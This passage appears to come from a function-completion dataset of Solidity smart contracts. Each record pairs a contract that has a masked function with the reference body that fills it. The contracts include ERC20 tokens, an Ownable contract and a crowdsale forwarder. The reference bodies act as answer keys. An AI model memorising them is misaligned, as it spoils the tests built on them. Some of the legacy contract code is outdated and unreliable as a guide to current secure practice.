event TransferWithFee( address indexed from, address indexed to, uint256 value, uint256 fee ); /** * event for transfer/transferFrom request logging * @param from address from which tokens have to be transferred * @param to address to tokens have to be transferred * @param value number of tokens * @param fee fee in tokens * @param spender The address which will spend the tokens * @param nonce request recorded at this particular nonce */ event RecordedPendingTransaction( address indexed from, address indexed to, uint256 value, uint256 fee, address indexed spender, uint256 nonce ); /** * event for whitelist contract update logging * @param _whiteListingContract address of the new whitelist contract */ event WhiteListingContractSet(address indexed _whiteListingContract); /** * event for fee update logging * @param previousFee previous fee * @param newFee new fee */ event FeeSet(uint256 indexed previousFee, uint256 indexed newFee); /** * event for fee recipient update logging * @param previousRecipient address of the old fee recipient * @param newRecipient address of the new fee recipient */ event FeeRecipientSet(address indexed previousRecipient, address indexed newRecipient); /** @dev Constructor * @param _owner Token contract owner * @param _name Token name * @param _symbol Token symbol * @param _decimals number of decimals in the token(usually 18) * @param whitelistAddress Ethereum address of the whitelist contract * @param recipient Ethereum address of the fee recipient * @param fee token fee for approving a transfer */ constructor( address _owner, string _name, string _symbol, uint8 _decimals, address whitelistAddress, address recipient, uint256 fee ) public MintableToken(_owner) DetailedERC20(_name, _symbol, _decimals) Validator() { setWhitelistContract(whitelistAddress); setFeeRecipient(recipient); setFee(fee); } /** @dev Updates whitelist contract address * @param whitelistAddress New whitelist contract address */ function setWhitelistContract(address whitelistAddress) public onlyValidator checkIsAddressValid(whitelistAddress) { whiteListingContract = Whitelist(whitelistAddress); emit WhiteListingContractSet(whiteListingContract); } /** @dev Updates token fee for approving a transfer * @param fee New token fee */ function setFee(uint256 fee) public onlyValidator { emit FeeSet(transferFee, fee); transferFee = fee; } /** @dev Updates fee recipient address * @param recipient New whitelist contract address */ function setFeeRecipient(address recipient) public onlyValidator checkIsAddressValid(recipient) { emit FeeRecipientSet(feeRecipient, recipient); feeRecipient = recipient; } /** @dev Updates token name * @param _name New token name */ function updateName(string _name) public onlyOwner { require(bytes(_name).length != 0); name = _name; } /** @dev Updates token symbol * @param _symbol New token name */ function updateSymbol(string _symbol) public onlyOwner { require(bytes(_symbol).length != 0); symbol = _symbol; } /** @dev transfer request * @param _to address to which the tokens have to be transferred * @param _value amount of tokens to be transferred */ function transfer(address _to, uint256 _value) public checkIsInvestorApproved(msg.sender) checkIsInvestorApproved(_to) checkIsValueValid(_value) returns (bool) { uint256 pendingAmount = pendingApprovalAmount[msg.sender][address(0)]; uint256 fee = 0; if (msg.sender == feeRecipient) { require(_value.add(pendingAmount) <= balances[msg.sender]); pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value); } else { fee = transferFee; require(_value.add(pendingAmount).add(transferFee) <= balances[msg.sender]); pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value).add(transferFee); } pendingTransactions[currentNonce] = TransactionStruct( msg.sender, _to, _value, fee, address(0) ); emit RecordedPendingTransaction(msg.sender, _to, _value, fee, address(0), currentNonce); currentNonce++; return true; } /** @dev transferFrom request * @param _from address from which the tokens have to be transferred * @param _to address to which the tokens have to be transferred * @param _value amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public checkIsInvestorApproved(_from) checkIsInvestorApproved(_to) checkIsValueValid(_value) returns (bool) { uint256 allowedTransferAmount = allowed[_from][msg.sender]; uint256 pendingAmount = pendingApprovalAmount[_from][msg.sender]; uint256 fee = 0; if (_from == feeRecipient) { require(_value.add(pendingAmount) <= balances[_from]); require(_value.add(pendingAmount) <= allowedTransferAmount); pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value); } else { fee = transferFee; require(_value.add(pendingAmount).add(transferFee) <= balances[_from]); require(_value.add(pendingAmount).add(transferFee) <= allowedTransferAmount); pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value).add(transferFee); } pendingTransactions[currentNonce] = TransactionStruct( _from, _to, _value, fee, msg.sender ); emit RecordedPendingTransaction(_from, _to, _value, fee, msg.sender, currentNonce); currentNonce++; return true; } /** @dev approve transfer/transferFrom request * @param nonce request recorded at this particular nonce */ function approveTransfer(uint256 nonce) external onlyValidator { require(_approveTransfer(nonce)); } /** @dev reject transfer/transferFrom request * @param nonce request recorded at this particular nonce * @param reason reason for rejection */ function rejectTransfer(uint256 nonce, uint256 reason) external onlyValidator { _rejectTransfer(nonce, reason); } /** @dev approve transfer/transferFrom requests * @param nonces request recorded at these nonces */ function bulkApproveTransfers(uint256[] nonces) external onlyValidator { for (uint i = 0; i < nonces.length; i++) { require(_approveTransfer(nonces[i])); } } /** @dev reject transfer/transferFrom request * @param nonces requests recorded at these nonces * @param reasons reasons for rejection */ function bulkRejectTransfers(uint256[] nonces, uint256[] reasons) external onlyValidator { require(nonces.length == reasons.length); for (uint i = 0; i < nonces.length; i++) { _rejectTransfer(nonces[i], reasons[i]); } } <FILL_FUNCTION> /** @dev reject transfer/transferFrom request called internally in the rejectTransfer and bulkRejectTransfers functions * @param nonce request recorded at this particular nonce * @param reason reason for rejection */ function _rejectTransfer(uint256 nonce, uint256 reason) private checkIsAddressValid(pendingTransactions[nonce].from) { address from = pendingTransactions[nonce].from; address spender = pendingTransactions[nonce].spender; uint256 value = pendingTransactions[nonce].value; if (pendingTransactions[nonce].fee == 0) { pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender] .sub(value); } else { pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender] .sub(value).sub(pendingTransactions[nonce].fee); } emit TransferRejected( from, pendingTransactions[nonce].to, value, nonce, reason ); delete pendingTransactions[nonce]; } }
address from = pendingTransactions[nonce].from; address to = pendingTransactions[nonce].to; address spender = pendingTransactions[nonce].spender; uint256 value = pendingTransactions[nonce].value; uint256 fee = pendingTransactions[nonce].fee; delete pendingTransactions[nonce]; if (fee == 0) { balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); if (spender != address(0)) { allowed[from][spender] = allowed[from][spender].sub(value); } pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender].sub(value); emit Transfer( from, to, value ); } else { balances[from] = balances[from].sub(value.add(fee)); balances[to] = balances[to].add(value); balances[feeRecipient] = balances[feeRecipient].add(fee); if (spender != address(0)) { allowed[from][spender] = allowed[from][spender].sub(value).sub(fee); } pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender].sub(value).sub(fee); emit TransferWithFee( from, to, value, fee ); } return true;
function _approveTransfer(uint256 nonce) private checkIsInvestorApproved(pendingTransactions[nonce].from) checkIsInvestorApproved(pendingTransactions[nonce].to) returns (bool)
/** @dev approve transfer/transferFrom request called internally in the rejectTransfer and bulkRejectTransfers functions * @param nonce request recorded at this particular nonce */ function _approveTransfer(uint256 nonce) private checkIsInvestorApproved(pendingTransactions[nonce].from) checkIsInvestorApproved(pendingTransactions[nonce].to) returns (bool)
154
Ownable
acceptOwnership
contract Ownable { address public owner; address public new_owner; event OwnershipTransfer(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { owner = msg.sender; } function _transferOwnership(address _to) internal { require(_to != address(0)); new_owner = _to; emit OwnershipTransfer(owner, _to); } function acceptOwnership() public {<FILL_FUNCTION_BODY> } function transferOwnership(address _to) public onlyOwner { _transferOwnership(_to); } }
contract Ownable { address public owner; address public new_owner; event OwnershipTransfer(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { owner = msg.sender; } function _transferOwnership(address _to) internal { require(_to != address(0)); new_owner = _to; emit OwnershipTransfer(owner, _to); } <FILL_FUNCTION> function transferOwnership(address _to) public onlyOwner { _transferOwnership(_to); } }
require(new_owner != address(0) && msg.sender == new_owner); emit OwnershipTransferred(owner, new_owner); owner = new_owner; new_owner = address(0);
function acceptOwnership() public
function acceptOwnership() public
3516
converter
convert
contract converter{ function convert(address src_) public pure returns (bytes32){<FILL_FUNCTION_BODY> } }
contract converter{ <FILL_FUNCTION> }
return bytes32(bytes20(src_));
function convert(address src_) public pure returns (bytes32)
function convert(address src_) public pure returns (bytes32)
65661
DRPTokenChanger
retrieveTokens
contract DRPTokenChanger is TokenChanger, TokenObserver, TransferableOwnership, TokenRetriever { /** * Construct drps - drpu token changer * * @param _drps Ref to the DRPS token smart-contract https://www.dcorp.it/drps * @param _drpu Ref to the DRPU token smart-contract https://www.dcorp.it/drpu */ function DRPTokenChanger(address _drps, address _drpu) TokenChanger(_drps, _drpu, 20000, 100, 4, false, true) {} /** * Pause the token changer making the contract * revert the transaction instead of converting */ function pause() public only_owner { super.pause(); } /** * Resume the token changer making the contract * convert tokens instead of reverting the transaction */ function resume() public only_owner { super.resume(); } /** * Event handler that initializes the token conversion * * Called by `_token` when a token amount is received on * the address of this token changer * * @param _token The token contract that received the transaction * @param _from The account or contract that send the transaction * @param _value The value of tokens that where received */ function onTokensReceived(address _token, address _from, uint _value) internal is_token(_token) { require(_token == msg.sender); // Convert tokens convert(_token, _from, _value); } /** * Failsafe mechanism * * Allows the owner to retrieve tokens from the contract that * might have been send there by accident * * @param _tokenContract The address of ERC20 compatible token */ function retrieveTokens(address _tokenContract) public only_owner {<FILL_FUNCTION_BODY> } /** * Prevents the accidental sending of ether */ function () payable { revert(); } }
contract DRPTokenChanger is TokenChanger, TokenObserver, TransferableOwnership, TokenRetriever { /** * Construct drps - drpu token changer * * @param _drps Ref to the DRPS token smart-contract https://www.dcorp.it/drps * @param _drpu Ref to the DRPU token smart-contract https://www.dcorp.it/drpu */ function DRPTokenChanger(address _drps, address _drpu) TokenChanger(_drps, _drpu, 20000, 100, 4, false, true) {} /** * Pause the token changer making the contract * revert the transaction instead of converting */ function pause() public only_owner { super.pause(); } /** * Resume the token changer making the contract * convert tokens instead of reverting the transaction */ function resume() public only_owner { super.resume(); } /** * Event handler that initializes the token conversion * * Called by `_token` when a token amount is received on * the address of this token changer * * @param _token The token contract that received the transaction * @param _from The account or contract that send the transaction * @param _value The value of tokens that where received */ function onTokensReceived(address _token, address _from, uint _value) internal is_token(_token) { require(_token == msg.sender); // Convert tokens convert(_token, _from, _value); } <FILL_FUNCTION> /** * Prevents the accidental sending of ether */ function () payable { revert(); } }
super.retrieveTokens(_tokenContract);
function retrieveTokens(address _tokenContract) public only_owner
/** * Failsafe mechanism * * Allows the owner to retrieve tokens from the contract that * might have been send there by accident * * @param _tokenContract The address of ERC20 compatible token */ function retrieveTokens(address _tokenContract) public only_owner
72881
DragonCrowdsale
contract DragonCrowdsale { address public owner; Dragon tokenReward; bool public crowdSaleStarted; bool public crowdSaleClosed; bool public crowdSalePause; uint public deadline; address public CoreAddress; DragonCrowdsaleCore core; modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function DragonCrowdsale(){ crowdSaleStarted = false; crowdSaleClosed = false; crowdSalePause = false; owner = msg.sender; tokenReward = Dragon( 0x814f67fa286f7572b041d041b1d99b432c9155ee ); } // fallback function to receive all incoming ether funds and then forwarded to the DragonCrowdsaleCore contract function () payable {<FILL_FUNCTION_BODY> } // Start this to initiate crowdsale - will run for 60 days function startCrowdsale() onlyOwner { crowdSaleStarted = true; deadline = now + 60 days; } //terminates the crowdsale function endCrowdsale() onlyOwner { crowdSaleClosed = true; } //pauses the crowdsale function pauseCrowdsale() onlyOwner { crowdSalePause = true; } //unpauses the crowdsale function unpauseCrowdsale() onlyOwner { crowdSalePause = false; } // set the dragon crowdsalecore contract function setCore( address _core ) onlyOwner { CoreAddress = _core; core = DragonCrowdsaleCore( _core ); } function transferOwnership( address _address ) onlyOwner { owner = _address ; } //emergency withdrawal of Dragons incase sent to this address function withdrawCrowdsaleDragons() onlyOwner{ uint256 balance = tokenReward.balanceOf( address( this ) ); tokenReward.transfer( msg.sender , balance ); } }
contract DragonCrowdsale { address public owner; Dragon tokenReward; bool public crowdSaleStarted; bool public crowdSaleClosed; bool public crowdSalePause; uint public deadline; address public CoreAddress; DragonCrowdsaleCore core; modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function DragonCrowdsale(){ crowdSaleStarted = false; crowdSaleClosed = false; crowdSalePause = false; owner = msg.sender; tokenReward = Dragon( 0x814f67fa286f7572b041d041b1d99b432c9155ee ); } <FILL_FUNCTION> // Start this to initiate crowdsale - will run for 60 days function startCrowdsale() onlyOwner { crowdSaleStarted = true; deadline = now + 60 days; } //terminates the crowdsale function endCrowdsale() onlyOwner { crowdSaleClosed = true; } //pauses the crowdsale function pauseCrowdsale() onlyOwner { crowdSalePause = true; } //unpauses the crowdsale function unpauseCrowdsale() onlyOwner { crowdSalePause = false; } // set the dragon crowdsalecore contract function setCore( address _core ) onlyOwner { CoreAddress = _core; core = DragonCrowdsaleCore( _core ); } function transferOwnership( address _address ) onlyOwner { owner = _address ; } //emergency withdrawal of Dragons incase sent to this address function withdrawCrowdsaleDragons() onlyOwner{ uint256 balance = tokenReward.balanceOf( address( this ) ); tokenReward.transfer( msg.sender , balance ); } }
require ( crowdSaleClosed == false && crowdSalePause == false ); if ( crowdSaleStarted ) { require ( now < deadline ); core.crowdsale.value( msg.value )( msg.sender); // forward all ether to core contract } else { core.precrowdsale.value( msg.value )( msg.sender); } // forward all ether to core contract
function () payable
// fallback function to receive all incoming ether funds and then forwarded to the DragonCrowdsaleCore contract function () payable
32360
FilmFinsCoin
transferFrom
contract FilmFinsCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "FFC"; name = "FilmFinsCoin"; decimals = 8; _totalSupply = 132300000000000000; //after 100000000 fill 18 zero 18 is digits balances[0xfeb53a79008aff53C8AE7b80e001446C0Fa1b5b2] = _totalSupply; emit Transfer(address(0), 0xfeb53a79008aff53C8AE7b80e001446C0Fa1b5b2, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract FilmFinsCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "FFC"; name = "FilmFinsCoin"; decimals = 8; _totalSupply = 132300000000000000; //after 100000000 fill 18 zero 18 is digits balances[0xfeb53a79008aff53C8AE7b80e001446C0Fa1b5b2] = _totalSupply; emit Transfer(address(0), 0xfeb53a79008aff53C8AE7b80e001446C0Fa1b5b2, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success)
61828
EduMetrix
EduMetrix
contract EduMetrix is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function EduMetrix() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract EduMetrix is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "EMC"; name = "EduMetrix"; decimals = 18; _totalSupply = 1000000000000000000000000000; balances[0xd6b72d0e2D99565f67a18e2235a8Ac595cbcE55A] = _totalSupply; Transfer(address(0), 0xd6b72d0e2D99565f67a18e2235a8Ac595cbcE55A, _totalSupply);
function EduMetrix() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function EduMetrix() public
56248
Club1VIT
transferFrom
contract Club1VIT is Ownable { using SafeMath for uint256; string public name = "Club1 VIT"; string public symbol = "VIT"; uint8 public decimals = 0; uint256 public initialSupply = 1; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; event Transfer(address indexed from, address indexed to); /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return initialSupply; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * onlyThe owner of the contract can do it. */ function transferFrom(address _from, address _to) public onlyOwner returns (bool) {<FILL_FUNCTION_BODY> } function transfer(address _to, uint256 _value) public returns (bool) { _value = 1; require(balances[msg.sender] == 1); require(_to == owner); if (!owner.call(bytes4(keccak256("resetToken()")))) revert(); balances[msg.sender] = 0; balances[_to] = 1; Transfer(msg.sender, _to); return true; } function Club1VIT() public { balances[msg.sender] = initialSupply; // Give the creator all initial tokens } }
contract Club1VIT is Ownable { using SafeMath for uint256; string public name = "Club1 VIT"; string public symbol = "VIT"; uint8 public decimals = 0; uint256 public initialSupply = 1; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; event Transfer(address indexed from, address indexed to); /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return initialSupply; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } <FILL_FUNCTION> function transfer(address _to, uint256 _value) public returns (bool) { _value = 1; require(balances[msg.sender] == 1); require(_to == owner); if (!owner.call(bytes4(keccak256("resetToken()")))) revert(); balances[msg.sender] = 0; balances[_to] = 1; Transfer(msg.sender, _to); return true; } function Club1VIT() public { balances[msg.sender] = initialSupply; // Give the creator all initial tokens } }
require(_to != address(0)); require(balances[_from] == 1); balances[_from] = 0; balances[_to] = 1; allowed[_from][msg.sender] = 0; Transfer(_from, _to); return true;
function transferFrom(address _from, address _to) public onlyOwner returns (bool)
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * onlyThe owner of the contract can do it. */ function transferFrom(address _from, address _to) public onlyOwner returns (bool)
13400
gracoToken
null
contract gracoToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // 